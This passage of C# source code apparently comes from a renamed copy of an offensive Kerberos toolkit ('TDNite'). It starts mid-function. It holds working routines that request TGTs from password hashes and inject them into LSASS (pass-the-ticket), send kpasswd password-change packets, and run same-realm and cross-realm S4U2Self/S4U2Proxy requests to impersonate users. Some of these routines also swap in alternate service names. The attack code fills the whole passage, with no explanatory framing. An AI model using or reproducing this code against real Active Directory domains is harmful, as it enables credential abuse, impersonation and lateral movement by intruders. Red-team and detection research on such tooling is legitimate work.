structure Console.WriteLine("[*] Building the KRV-PRIV structure"); KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes); // the new password to set for the user changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol"); // now build the final MS Kpasswd request byte[] apReqBytes = ap_req.Encode().Encode(); byte[] changePrivBytes = changePriv.Encode().Encode(); byte[] packetBytes = new byte[10 + apReqBytes.Length + changePrivBytes.Length]; short msgLength = (short)(packetBytes.Length - 4); byte[] msgLengthBytes = BitConverter.GetBytes(msgLength); System.Array.Reverse(msgLengthBytes); // Record Mark packetBytes[2] = msgLengthBytes[0]; packetBytes[3] = msgLengthBytes[1]; // Message Length packetBytes[4] = msgLengthBytes[0]; packetBytes[5] = msgLengthBytes[1]; // Version (Reply) packetBytes[6] = 0x0; packetBytes[7] = 0x1; // AP_REQ Length short apReqLen = (short)(apReqBytes.Length); byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen); System.Array.Reverse(apReqLenBytes); packetBytes[8] = apReqLenBytes[0]; packetBytes[9] = apReqLenBytes[1]; // AP_REQ Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length); // KRV-PRIV Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length); // KPASSWD_DEFAULT_PORT = 464 byte[] response = Networking.SendBytes(dcIP, 464, packetBytes, true); if (response == null) { return; } try { AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } } catch { } // otherwise parse the resulting KRB-PRIV from the server byte[] respRecordMarkBytes = { response[0], response[1], response[2], response[3] }; Array.Reverse(respRecordMarkBytes); int respRecordMark = BitConverter.ToInt32(respRecordMarkBytes, 0); byte[] respMsgLenBytes = { response[4], response[5] }; Array.Reverse(respMsgLenBytes); int respMsgLen = BitConverter.ToInt16(respMsgLenBytes, 0); byte[] respVersionBytes = { response[6], response[7] }; Array.Reverse(respVersionBytes); int respVersion = BitConverter.ToInt16(respVersionBytes, 0); byte[] respAPReqLenBytes = { response[8], response[9] }; Array.Reverse(respAPReqLenBytes); int respAPReqLen = BitConverter.ToInt16(respAPReqLenBytes, 0); byte[] respAPReq = new byte[respAPReqLen]; Array.Copy(response, 10, respAPReq, 0, respAPReqLen); int respKRBPrivLen = respMsgLen - respAPReqLen - 6; byte[] respKRBPriv = new byte[respKRBPrivLen]; Array.Copy(response, 10 + respAPReqLen, respKRBPriv, 0, respKRBPrivLen); // decode the KRB-PRIV response AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false); foreach (AsnElt elem in respKRBPrivAsn.Sub[0].Sub) { if (elem.TagValue == 3) { byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString(); byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes); AsnElt decBytesAsn = AsnElt.Decode(decBytes, false); byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString(); Array.Reverse(responseCodeBytes); short responseCode = BitConverter.ToInt16(responseCodeBytes, 0); if (responseCode == 0) { Console.WriteLine("[+] Password change success!"); } else { Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode); } } } }
public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false) { if (verbose) { Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); } } string dcIP = Networking.GetDCIP(domainController, false); if (String.IsNullOrEmpty(dcIP)) { throw new TDNiteException("[X] Unable to get domain controller address"); } if (verbose) { Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); } byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (response == null) { throw new TDNiteException("[X] No answer from domain controller"); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { if (verbose) { Console.WriteLine("[+] TGT request successful!"); } // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new TDNiteException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); throw new KerberosErrorException("", error); } else { throw new TDNiteException("[X] Unknown application tag: " + responseTag); } }
// to perform the 2 S4U2Proxy requests private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false) { string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } string domain = userName.Split('@')[1]; string targetDomain = targetUser.Split('@')[1]; Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController); TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false); PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK; if (cross) { s4u2proxyReq.req_body.realm = targetDomain; } else { s4u2proxyReq.req_body.realm = domain; } string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (ptt && cross) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
// to perform the 2 S4U2Self requests private static KRB_CRED CrossDomainS4U2Self(string userName, string targetUser, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, bool cross = true) { // die if can't get IP of DC string dcIP = Networking.GetDCIP(targetDomainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Requesting the cross realm 'S4U2Self' for {0} from {1}", targetUser, targetDomainController); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, targetUser, ticket, clientKey, etype, requestEType, cross); Console.WriteLine("[*] Sending cross realm S4U2Self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] cross realm S4U2Self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); PrintTicket(kirbiBytes, "base64(ticket.kirbi)"); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); return(kirbi); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null) { Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); if (altSnames.Length == 1) { Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService); } else { Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService); } } // extract out the info needed for the TGS-REQ/S4U2Proxy execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return; } Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN); TGS_REQ s4u2proxyReq = new TGS_REQ(); PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype); s4u2proxyReq.padata.Add(padata); PA_DATA pac_options = new PA_DATA(false, false, false, true); s4u2proxyReq.padata.Add(pac_options); s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT; s4u2proxyReq.req_body.realm = domain; string[] parts = targetSPN.Split('/'); string serverName = parts[parts.Length - 1]; s4u2proxyReq.req_body.sname.name_type = 2; foreach (string part in parts) { s4u2proxyReq.req_body.sname.name_string.Add(part); } // supported encryption types s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); // add in the ticket from the S4U2self response s4u2proxyReq.req_body.additional_tickets.Add(tgs); byte[] s4ubytes = s4u2proxyReq.Encode().Encode(); Console.WriteLine("[*] Sending S4U2proxy request"); byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes); if (response2 == null) { return; } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response2, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2proxy success!"); // parse the response to an TGS-REP TGS_REP rep2 = new TGS_REP(responseAsn); // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62 byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher); AsnElt ae2 = AsnElt.Decode(outBytes2, false); EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]); if (!String.IsNullOrEmpty(altService)) { string[] altSnames = altService.Split(','); foreach (string altSname in altSnames) { // now build the final KRB-CRED structure with one or more alternate snames KRB_CRED cred = new KRB_CRED(); // since we want an alternate sname, first substitute it into the ticket structure rep2.ticket.sname.name_string[0] = altSname; // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname); info.sname.name_string[0] = altSname; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } } } else { // now build the final KRB-CRED structure, no alternate snames KRB_CRED cred = new KRB_CRED(); // if we want an alternate sname, first substitute it into the ticket structure if (!String.IsNullOrEmpty(altService)) { rep2.ticket.sname.name_string[0] = altService; } // add the ticket cred.tickets.Add(rep2.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart2.key.keytype; info.key.keyvalue = encRepPart2.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart2.realm; // [2] pname (user) info.pname.name_type = rep2.cname.name_type; info.pname.name_string = rep2.cname.name_string; // [3] flags info.flags = encRepPart2.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart2.starttime; // [6] endtime info.endtime = encRepPart2.endtime; // [7] renew-till info.renew_till = encRepPart2.renew_till; // [8] srealm info.srealm = encRepPart2.realm; // [9] sname info.sname.name_type = encRepPart2.sname.name_type; info.sname.name_string = encRepPart2.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } } } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } }
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "") { // extract out the info needed for the TGS-REQ/S4U2Self execution string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0]; string domain = kirbi.enc_part.ticket_info[0].prealm; Ticket ticket = kirbi.tickets[0]; byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype; string dcIP = Networking.GetDCIP(domainController); if (String.IsNullOrEmpty(dcIP)) { return(null); } Console.WriteLine("[*] Building S4U2self request for: '{0}@{1}'", userName, domain); byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, Interop.KERB_ETYPE.subkey_keymaterial, false, targetUser); Console.WriteLine("[*] Sending S4U2self request"); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { Console.WriteLine("[+] S4U2self success!"); // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Got a TGS for '{0}' to '{1}@{2}'", info.pname.name_string[0], info.sname.name_string[0], info.srealm); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (TDNite.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } return(rep.ticket); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }